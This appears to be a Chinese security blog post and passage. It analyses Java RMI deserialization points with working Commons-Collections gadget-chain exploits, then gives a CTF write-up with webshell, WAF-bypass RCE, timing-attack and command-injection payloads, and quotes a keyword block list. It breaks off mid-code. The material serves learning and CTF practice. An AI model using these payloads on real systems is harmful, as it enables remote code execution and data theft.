RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);

try {
ObjectOutput var6 = var5.getOutputStream();
var6.writeObject(var1);
var6.writeLong(var2);
var6.writeObject(var4);
} catch (IOException var20) {
throw new MarshalException("error marshalling arguments", var20);
}

super.ref.invoke(var5);

Lease var24;
try {
ObjectInput var9 = var5.getInputStream();
var24 = (Lease)var9.readObject();
} catch (IOException var17) {
throw new UnmarshalException("error unmarshalling return", var17);
} catch (ClassNotFoundException var18) {
throw new UnmarshalException("error unmarshalling return", var18);
} finally {
super.ref.done(var5);
}

return var24;
} catch (RuntimeException var21) {
throw var21;
} catch (RemoteException var22) {
throw var22;
} catch (Exception var23) {
throw new UnexpectedException("undeclared checked exception", var23);
}
}

反序列化

客户端可能被反序列化的地方

在客户端远程连接服务器中它会出现两个调用readObject的地方,这里就可能会出现反序列化漏洞

首先是在StreamRemoteCall的executeCall方法里面会出现,这里会在invoke方法里面被调用,在处理远程连接时基本上都会调用这里方法,这里的后半段的switch里面当出现一个异常时就会进入其中调用readObject方法,这里其实是为了将异常的部分进行反序列化读取,但是如果服务器端传输了恶意代码就可能会导致用户端触发反序列化漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public void executeCall() throws Exception {
switch (returnType) {
case TransportConstants.NormalReturn:
break;

case TransportConstants.ExceptionalReturn:
Object ex;
try {
ex = in.readObject();
} catch (Exception e) {
throw new UnmarshalException("Error unmarshaling return", e);
}

// An exception should have been received,
// if so throw it, else flag error
if (ex instanceof Exception) {
exceptionReceivedFromServer((Exception) ex);
} else {
throw new UnmarshalException("Return type not Exception");
}
// Exception is thrown before fallthrough can occur
default:
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF,
"return code invalid: " + returnType);
}
throw new UnmarshalException("Return code invalid");
}
}

当客户端获取代理对象stub时是通过反序列化获取,这里就也会调用readObject方法

在调用RegistryImpl_Stub的lookup的方法里面就会触发

1
2
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();

下面就是在客户端远程调用服务端方法时也有触发序列化,也会调用executeCall方法

在对于获取函数的返回值也是通过反序列化的,在UnicastRef的unmarshalValue方法里面来获取远程执行的结果,这里也是调用了readObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
protected static Object unmarshalValue(Class<?> type, ObjectInput in)
throws IOException, ClassNotFoundException
{
if (type.isPrimitive()) {
if (type == int.class) {
return Integer.valueOf(in.readInt());
} else if (type == boolean.class) {
return Boolean.valueOf(in.readBoolean());
} else if (type == byte.class) {
return Byte.valueOf(in.readByte());
} else if (type == char.class) {
return Character.valueOf(in.readChar());
} else if (type == short.class) {
return Short.valueOf(in.readShort());
} else if (type == long.class) {
return Long.valueOf(in.readLong());
} else if (type == float.class) {
return Float.valueOf(in.readFloat());
} else if (type == double.class) {
return Double.valueOf(in.readDouble());
} else {
throw new Error("Unrecognized primitive type: " + type);
}
} else {
return in.readObject();
}
}

注册中心的反序列化点

在RegistryImpl_Skel的dispatch就利用了反序列化来获取客户端插入的lookup的值不管是客户端通过bind lookup或者rebind,注册中心接收的参数都是通过反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
RegistryImpl var6 = (RegistryImpl)var1;
String var7;
Remote var8;
ObjectInput var10;
ObjectInput var11;
switch (var3) {
case 0:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}

var6.bind(var7, var8);

try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}
case 1:
var2.releaseInputStream();
String[] var97 = var6.list();

try {
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}
case 2:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}

var8 = var6.lookup(var7);

try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeObject(var8);
break;
} catch (IOException var88) {
throw new MarshalException("error marshalling return", var88);
}
case 3:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var85) {
throw new UnmarshalException("error unmarshalling arguments", var85);
} catch (ClassNotFoundException var86) {
throw new UnmarshalException("error unmarshalling arguments", var86);
} finally {
var2.releaseInputStream();
}

var6.rebind(var7, var8);

try {
var2.getResultStream(true);
break;
} catch (IOException var84) {
throw new MarshalException("error marshalling return", var84);
}
case 4:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}

var6.unbind(var7);

try {
var2.getResultStream(true);
break;
} catch (IOException var80) {
throw new MarshalException("error marshalling return", var80);
}
default:
throw new UnmarshalException("invalid method number");
}

}

服务端的反序列化点

这里是在对于客户端远程调用服务端的函数时,提交参数的方法是通过序列化进行传输,所以在服务端就是通过unmarshalValue来读取反序列后的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
protected static Object unmarshalValue(Class<?> type, ObjectInput in)
throws IOException, ClassNotFoundException
{
if (type.isPrimitive()) {
if (type == int.class) {
return Integer.valueOf(in.readInt());
} else if (type == boolean.class) {
return Boolean.valueOf(in.readBoolean());
} else if (type == byte.class) {
return Byte.valueOf(in.readByte());
} else if (type == char.class) {
return Character.valueOf(in.readChar());
} else if (type == short.class) {
return Short.valueOf(in.readShort());
} else if (type == long.class) {
return Long.valueOf(in.readLong());
} else if (type == float.class) {
return Float.valueOf(in.readFloat());
} else if (type == double.class) {
return Double.valueOf(in.readDouble());
} else {
throw new Error("Unrecognized primitive type: " + type);
}
} else {
return in.readObject();
}
}

在创建远程服务中系统会默认创建一个DGC,这个的主要功能就是回收机制,但是它的里面就存在和注册中心一样的问题,这里是系统自己创建的回收机制,所以也会存在对应的风险

首先是服务端的回收,里面会创建一个DGCImpl_Skel对象,在调用dispatch方法时就存在反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != -669196253586618813L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
DGCImpl var6 = (DGCImpl)var1;
ObjID[] var7;
long var8;
switch (var3) {
case 0:
VMID var39;
boolean var40;
try {
ObjectInput var14 = var2.getInputStream();
var7 = (ObjID[])var14.readObject();
var8 = var14.readLong();
var39 = (VMID)var14.readObject();
var40 = var14.readBoolean();
} catch (IOException var36) {
throw new UnmarshalException("error unmarshalling arguments", var36);
} catch (ClassNotFoundException var37) {
throw new UnmarshalException("error unmarshalling arguments", var37);
} finally {
var2.releaseInputStream();
}

var6.clean(var7, var8, var39, var40);

try {
var2.getResultStream(true);
break;
} catch (IOException var35) {
throw new MarshalException("error marshalling return", var35);
}
case 1:
Lease var10;
try {
ObjectInput var13 = var2.getInputStream();
var7 = (ObjID[])var13.readObject();
var8 = var13.readLong();
var10 = (Lease)var13.readObject();
} catch (IOException var32) {
throw new UnmarshalException("error unmarshalling arguments", var32);
} catch (ClassNotFoundException var33) {
throw new UnmarshalException("error unmarshalling arguments", var33);
} finally {
var2.releaseInputStream();
}

Lease var11 = var6.dirty(var7, var8, var10);

try {
ObjectOutput var12 = var2.getResultStream(true);
var12.writeObject(var11);
break;
} catch (IOException var31) {
throw new MarshalException("error marshalling return", var31);
}
default:
throw new UnmarshalException("invalid method number");
}

}
}

客户端也是一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
public void clean(ObjID[] var1, long var2, VMID var4, boolean var5) throws RemoteException {
try {
RemoteCall var6 = super.ref.newCall(this, operations, 0, -669196253586618813L);

try {
ObjectOutput var7 = var6.getOutputStream();
var7.writeObject(var1);
var7.writeLong(var2);
var7.writeObject(var4);
var7.writeBoolean(var5);
} catch (IOException var8) {
throw new MarshalException("error marshalling arguments", var8);
}

super.ref.invoke(var6);
super.ref.done(var6);
} catch (RuntimeException var9) {
throw var9;
} catch (RemoteException var10) {
throw var10;
} catch (Exception var11) {
throw new UnexpectedException("undeclared checked exception", var11);
}
}

public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
try {
RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);

try {
ObjectOutput var6 = var5.getOutputStream();
var6.writeObject(var1);
var6.writeLong(var2);
var6.writeObject(var4);
} catch (IOException var20) {
throw new MarshalException("error marshalling arguments", var20);
}

super.ref.invoke(var5);

Lease var24;
try {
ObjectInput var9 = var5.getInputStream();
var24 = (Lease)var9.readObject();
} catch (IOException var17) {
throw new UnmarshalException("error unmarshalling return", var17);
} catch (ClassNotFoundException var18) {
throw new UnmarshalException("error unmarshalling return", var18);
} finally {
super.ref.done(var5);
}

return var24;
} catch (RuntimeException var21) {
throw var21;
} catch (RemoteException var22) {
throw var22;
} catch (Exception var23) {
throw new UnexpectedException("undeclared checked exception", var23);
}
}

攻击服务端的反序列化

首先需要在服务端出现对应的cc与或者cb依赖,这里就以cc3依赖来进行攻击

恶意参数上传

这里在上面就提到,在客户端调用服务端的方法时,如果方法里面有参数,服务端会通过unmarshalValue反序列化客户端的上传参数,如果我们的参数是一个恶意的对象就可以实现攻击,首先就先定义一个接收Object对象的类

下面就是创建一个危险类来作为参数传递

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Eval {
static Object geteval() throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer transform = new ChainedTransformer(new Transformer[]{});
HashMap<Object,Object> map=new HashMap<Object,Object>();
Map<Object,Object> q= LazyMap.decorate(map,transform);
TiedMapEntry tiedmapentry=new TiedMapEntry(q,"111");
HashMap<Object,Object> o = new HashMap<>();
o.put(tiedmapentry,"aaa");
Class c=transform.getClass();
Field iTransformers = c.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transform,transformers);
q.remove("111");
return o;
}
}

这里也是成功的执行了,因为上面的执行的要求太高需要对应的方法的参数接收Object对象,如果不是可以吗? 如果直接传肯定是不可以的

下面就去找找看是否可以绕过这层关系,从而实现反序列化这里可以看到报错的信息为hash未被找到,这里其实就会去以前创建的hashtable里面进行寻找,如果没有找到就会先这样进行报错,这里可以通过debug模式将要发送到服务端的方法进行修改即可

在 RemoteObjectInvocationHandler 的invokeRemote方法处下断点,将 Method 改为服务端存在的RMIObject的getName

动态类加载

这里需要有三个前提

1.Server 端必须加载和配置好 SecurityManager

2.java.rmi.Sever.useCodebaseOnly必须开启

3.版本必须是 6u45/7u21 之前

前面可以发现在UnicastServerRef的dispatch方法调用到UnicastRef的unmarshalValue进行反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
protected static Object unmarshalValue(Class<?> type, ObjectInput in)
throws IOException, ClassNotFoundException
{
if (type.isPrimitive()) {
if (type == int.class) {
return Integer.valueOf(in.readInt());
} else if (type == boolean.class) {
return Boolean.valueOf(in.readBoolean());
} else if (type == byte.class) {
return Byte.valueOf(in.readByte());
} else if (type == char.class) {
return Character.valueOf(in.readChar());
} else if (type == short.class) {
return Short.valueOf(in.readShort());
} else if (type == long.class) {
return Long.valueOf(in.readLong());
} else if (type == float.class) {
return Float.valueOf(in.readFloat());
} else if (type == double.class) {
return Double.valueOf(in.readDouble());
} else {
throw new Error("Unrecognized primitive type: " + type);
}
} else {
return in.readObject();
}
}

在反序列化的过程中,会调用到MarshalInputStream的resolveClass方法来解析Class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
protected Class<?> resolveClass(ObjectStreamClass classDesc)
throws IOException, ClassNotFoundException
{
Object annotation = readLocation();
String className = classDesc.getName();
ClassLoader defaultLoader =
skipDefaultResolveClass ? null : latestUserDefinedLoader();
String codebase = null;
if (!useCodebaseOnly && annotation instanceof String) {
codebase = (String) annotation;
}
try {
return RMIClassLoader.loadClass(codebase, className,
defaultLoader);
} catch (AccessControlException e) {
return checkSunClass(className, e);
} catch (ClassNotFoundException e) {
try {
if (Character.isLowerCase(className.charAt(0)) &&
className.indexOf('.') == -1)
{
return super.resolveClass(classDesc);
}
} catch (ClassNotFoundException e2) {
}
throw e;
}
}

这里会先调用readLocation获取到 Codebase 的地址,后面就会检测useCodebaseOnly是否开启,所以这里需要有一个服务器先开启此服务,下面就可以直接到RMIClassLoader的loadClass方法,一直调用到LoaderHandler的loadClass方法里面,这里主要调用了loadClassForName方法,下面跟进就可以看到类加载的函数Class.forName

1
2
3
4
5
6
7
8
9
10
11
lass<?> c = loadClassForName(name, false, defaultLoader);
private static Class<?> loadClassForName(String name,
boolean initialize,
ClassLoader loader)
throws ClassNotFoundException
{
if (loader == null) {
ReflectUtil.checkPackageAccess(name);
}
return Class.forName(name, initialize, loader);
}

攻击 Registry 端的反序列化

这里需要先找到Registry端的反序列化点,这里是可以分为客户端和服务端对其的攻击,但是主要分析服务端攻击注册中心

客户端

在上面分析就知道,在客户端调用lookup方法时,会将我们传入的字符串进行反序列化,但是由于这里只能传入,我们传入一个恶意类来实现攻击

服务端

这里可以在bind方法里面写入恶意类来实现代码执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
    public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1099);
Class<?> c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor=c.getDeclaredConstructors()[0];
constructor.setAccessible(true);

HashMap<String,Object> map=new HashMap<>();
map.put("a",geteval());

InvocationHandler invocationHandler=(InvocationHandler) constructor.newInstance(Target.class,map);
Remote remote= (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Remote.class},invocationHandler);

Naming.bind("luokuang",remote);
}
public static Object geteval() throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer transform = new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<Object,Object>();
Map<Object,Object> q= LazyMap.decorate(map,transform);
TiedMapEntry luokuang = new TiedMapEntry(q, "luokuang");
// luokuang.toString();
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c=badAttributeValueExpException.getClass();
Field val = c.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,luokuang);
return badAttributeValueExpException;
}

攻击客户端的反序列化

上面分析知道,在客户端处理所有的网络请求时都会调用executeCall方法,这里就可以利用这一点来通过服务端对客户端进行攻击,虽然大多的场景用不到,但是还是可以去了解一下

首先通过调用服务端恶意方法的返回一个恶意对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public static void main(String[] args) throws Exception {
Class<?> c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor=c.getDeclaredConstructors()[0];
constructor.setAccessible(true);

HashMap<String,Object> map=new HashMap<>();
map.put("a",geteval());

InvocationHandler invocationHandler=(InvocationHandler) constructor.newInstance(Target.class,map);
Remote remote= (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Remote.class},invocationHandler);
Registry registry = LocateRegistry.createRegistry(1088);
RMIObject AAA=new RMIObject();
Naming.bind("rmi://localhost:1088/luokuang", AAA);
}

public Object getName(Object aaa) throws Exception {
Object aa=geteval();
return aa;
}
public static Object geteval() throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer transform = new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<Object,Object>();
Map<Object,Object> q= LazyMap.decorate(map,transform);
TiedMapEntry luokuang = new TiedMapEntry(q, "luokuang");
// luokuang.toString();
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c=badAttributeValueExpException.getClass();
Field val = c.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,luokuang);
return badAttributeValueExpException;
}

当对象调用该方法时就会触发反序列化攻击

或者直接通过bind一个恶意的远程对象,在客户端通过lookup来获取时进行反序列化从而触发反序列化攻击

DGC反序列化攻击

在创建远程服务中系统会默认创建一个DGC,这个的主要功能就是回收机制,但是它的里面就存在和注册中心一样的问题,这里是系统自己创建的回收机制,所以也会存在对应的风险

首先是服务端的回收,里面会创建一个DGCImpl_Skel对象,在调用dispatch方法时就存在反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != -669196253586618813L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
DGCImpl var6 = (DGCImpl)var1;
ObjID[] var7;
long var8;
switch (var3) {
case 0:
VMID var39;
boolean var40;
try {
ObjectInput var14 = var2.getInputStream();
var7 = (ObjID[])var14.readObject();
var8 = var14.readLong();
var39 = (VMID)var14.readObject();
var40 = var14.readBoolean();
} catch (IOException var36) {
throw new UnmarshalException("error unmarshalling arguments", var36);
} catch (ClassNotFoundException var37) {
throw new UnmarshalException("error unmarshalling arguments", var37);
} finally {
var2.releaseInputStream();
}

var6.clean(var7, var8, var39, var40);

try {
var2.getResultStream(true);
break;
} catch (IOException var35) {
throw new MarshalException("error marshalling return", var35);
}
case 1:
Lease var10;
try {
ObjectInput var13 = var2.getInputStream();
var7 = (ObjID[])var13.readObject();
var8 = var13.readLong();
var10 = (Lease)var13.readObject();
} catch (IOException var32) {
throw new UnmarshalException("error unmarshalling arguments", var32);
} catch (ClassNotFoundException var33) {
throw new UnmarshalException("error unmarshalling arguments", var33);
} finally {
var2.releaseInputStream();
}

Lease var11 = var6.dirty(var7, var8, var10);

try {
ObjectOutput var12 = var2.getResultStream(true);
var12.writeObject(var11);
break;
} catch (IOException var31) {
throw new MarshalException("error marshalling return", var31);
}
default:
throw new UnmarshalException("invalid method number");
}

}
}

客户端也是一样,在DGCImpl_Stub对象里面调用了两个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
public void clean(ObjID[] var1, long var2, VMID var4, boolean var5) throws RemoteException {
try {
RemoteCall var6 = super.ref.newCall(this, operations, 0, -669196253586618813L);

try {
ObjectOutput var7 = var6.getOutputStream();
var7.writeObject(var1);
var7.writeLong(var2);
var7.writeObject(var4);
var7.writeBoolean(var5);
} catch (IOException var8) {
throw new MarshalException("error marshalling arguments", var8);
}

super.ref.invoke(var6);
super.ref.done(var6);
} catch (RuntimeException var9) {
throw var9;
} catch (RemoteException var10) {
throw var10;
} catch (Exception var11) {
throw new UnexpectedException("undeclared checked exception", var11);
}
}

public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
try {
RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);

try {
ObjectOutput var6 = var5.getOutputStream();
var6.writeObject(var1);
var6.writeLong(var2);
var6.writeObject(var4);
} catch (IOException var20) {
throw new MarshalException("error marshalling arguments", var20);
}

super.ref.invoke(var5);

Lease var24;
try {
ObjectInput var9 = var5.getInputStream();
var24 = (Lease)var9.readObject();
} catch (IOException var17) {
throw new UnmarshalException("error unmarshalling return", var17);
} catch (ClassNotFoundException var18) {
throw new UnmarshalException("error unmarshalling return", var18);
} finally {
super.ref.done(var5);
}

return var24;
} catch (RuntimeException var21) {
throw var21;
} catch (RemoteException var22) {
throw var22;
} catch (Exception var23) {
throw new UnexpectedException("undeclared checked exception", var23);
}
}

Sign

这个是一个签到题,题目直接给出一个webshell passwd:sgin

下面就只需要post传sgin=system(‘cat /*’);即可

HelloHacker

直接给源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php 
highlight_file(__FILE__);
error_reporting(0);
include_once 'check.php';
include_once 'ban.php';

$incompetent = $_POST['incompetent'];
$WuCup = $_POST['WuCup'];

if ($incompetent !== 'HelloHacker') {
die('Come invade!');
}

$required_chars = ['p', 'e', 'v', 'a', 'n', 'x', 'r', 'o', 'z'];
$is_valid = true;

if (!checkRequiredChars($WuCup, $required_chars)) {
$is_valid = false;
}

if ($is_valid) {

$prohibited_file = 'prohibited.txt';
if (file_exists($prohibited_file)) {
$file = fopen($prohibited_file, 'r');

while ($line = fgets($file)) {
$line = rtrim($line, "\r\n");
if ($line === '' && strpos($WuCup, ' ') === false) {

continue;
}
if (stripos($WuCup, $line) !== false) {
fclose($file);
die('this road is blocked');
}
}


fclose($file);
}

eval($WuCup);
} else {
die('NO!NO!NO!');
}

?>

这里就可以发现,在里面有一个prohibited.txt,可以直接访问看到里面的waf,内容太多,只展现一些

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
d
m
g
://
'

`
?
@
%
.
:
$
"
;
\
/
eval
exec
flag
system
assert
map
open
call
array
preg
php
cat
sort
shell
echo
tac

在里面有些字符是有但是没有被过滤的,比如;号,因为后面多了一个空格,导致没有真正的过滤,还有” $,这些后面会用到

1
2
3
4
5
6
$required_chars = ['p', 'e', 'v', 'a', 'n', 'x', 'r', 'o', 'z']; 
$is_valid = true;

if (!checkRequiredChars($WuCup, $required_chars)) {
$is_valid = false;
}

这里需要有一个required_chars里面字符的排列组合,通过python脚本找到一个没有给过滤的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import itertools

# 需要检查的字符串
string_to_permute = "pevanxroz"

# 禁止列表文件路径
prohibited_file_path = r"D:\写题\1.txt"

# 读取禁止列表文件中的所有内容
try:
with open(prohibited_file_path, 'r') as file:
prohibited_list = set(file.read().splitlines())
except FileNotFoundError:
print(f"文件 {prohibited_file_path} 未找到。")
prohibited_list = set()

# 生成所有排列组合
permutations = itertools.permutations(string_to_permute)

# 过滤掉禁止列表中的排列组合
allowed_permutations = [''.join(p) for p in permutations if ''.join(p) not in prohibited_list]

# 打印不在禁止列表中的排列组合
for permutation in allowed_permutations:
print(permutation)

oxzverapn,下面就可以通过;来进行分隔,发现passthru函数没有给过滤,可以通过passthru来命令执行,因为/号给过滤就想如何获取/再继续字符拼接即可,这里可以通过chr来将ascii码转字符,通过join函数来拼接,最后就可以得flag

1
incompetent=HelloHacker&WuCup=oxzverapn;$a=["nl%09",chr(47),"*"];$s=join("",$a);print_r($s);passthru($s);

TimeCage

首先给源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
show_source(__FILE__);
include 'secret.php';
if(isset($_GET['input'])){
$guess = $_GET['input'];
$target = random_int(114 , 114 + date('s') * 100000);
if(intval($guess) === intval($target)){
echo "The next challenge in ".$key1;
}
else{
echo "Guess harder.";
}
}

这里其实认真看就可以知道如果当秒刚好为0时就可以使target为114,这里就可以提交input=114并且不断的刷新页面即可,或者通过python来反复发包

下一关Trapping2147483647.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
show_source(__FILE__);
include 'secret.php';
if(isset($_POST['pass'])){
$pass = $_POST['pass'];
if(strlen($pass) != strlen($password)){
die("Wrong Length!");
}
$isMatch = true;
for($i = 0;$i < strlen($password); $i++){
if($pass[$i] != $password[$i]){
$isMatch = false;
break;
}
sleep(1);
}
if($isMatch){
echo "The final challenge in ".$key2;
}
else{
echo "Wrong Pass!";
}
}
//Only digital characters in the password.

这里是要获取password,可以先产生获取其长度,输入11111111得其长度为8,下面就可以产生每一位数的具体值

不断修改看方式请求的时间来判断,一个成功时间就会大于1秒,就不断的尝试,脚本发送有时判断不够准确,所以直接手动判断,最后得密码为56983215

下一关EscapeEsc@p3Escape.php,这里就是一个rce,只是shell_exec没有回显

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
if(isset($_POST['cmd'])){
$cmd = $_POST['cmd'];
$pattern = '/[\{\}\[\]\(\)&<>`\s\\\\]/';
if(preg_match($pattern,$cmd)){
die("Invalid Input!");
}
shell_exec($cmd);
}
else{
show_source(__FILE__);
}
//flag is in /flag

空格绕过用$IFS$8,刚开始尝试反弹shell但是没有成功,下面就写入文件得回显如果直接通过>>是被过滤了,但是还可以通过tee加通配符绕过,但是如果直接通过创建还是找不到,最后就可以直接通过覆盖前面的文件读回显,这样就可以执行命令

1
2
cmd=ls|tee$IFS$8index.php
cmd=cat$IFS$8/*|tee$IFS$8index.php

ezPHP

刚开始不知道应该如何写,通过dirsearch发现有一个flag.php文件,可以访问但是空白,这里通过bp抓包得php版本

下面就是通过查询对应的php版本问题知道有一个源码泄露

https://www.cnblogs.com/Kawakaze777/p/17799235.html

下面就是跟着尝试得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
error_reporting(0);

class a{
public $OAO;
public $QAQ;
public $OVO;
public function __toString(){
if(!preg_match('/hello/', OVO)){
if ($this->OVO === "hello") {
return $this->OAO->QAQ;
}
}
}
public function __invoke(){
return $this->OVO;
}
}

class b{
public $pap;
public $vqv;
public function __get($key){
$functioin = $this->pap;
return $functioin();
}
public function __toString(){
return $this->vqv;
}
}
class c{
public $OOO;
public function __invoke(){
@$_ = $this->OOO;
$___ = $_GET;
var_dump($___);
if (isset($___['h_in.t'])) {
unset($___['h_in.t']);
}
var_dump($___);
echo @call_user_func($_, ...$___);
}
}
class d{
public $UUU;
public $uuu;
public function __wakeup(){
echo $this->UUU;
}
public function __destruct(){
$this->UUU;
}
}
if(isset($_GET['h_in.t'])){
unserialize($_GET['h_in.t']);
}
?>

发现是一个反序列化,这里就当时没看清题

1
2
3
4
5
if(!preg_match('/hello/', OVO)){
if ($this->OVO === "hello") {
return $this->OAO->QAQ;
}
}

这里的OVO都不是这个类的,所以根本不用绕过,直接传OVO=hello即可,下面就可以去调用链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class a{
public $OAO;
public $QAQ;
public $OVO="hello";
}

class b{
public $pap="phpinfo";
public $vqv;
}
class d{
public $UUU;
public $uuu;
}
$a=new d();
$a->UUU=new a();
$a->UUU->OAO=new b();
echo serialize($a);
?>

这里首先可以读取phpinfo,参数合理化h[in.t即可,后面看到这里有很多的函数都给过滤了,但是exec没有

下面就可以尝试通过exec来命令执行

1
2
3
4
5
6
7
8
9
10
public function __invoke(){
@$_ = $this->OOO;
$___ = $_GET;
var_dump($___);
if (isset($___['h_in.t'])) {
unset($___['h_in.t']);
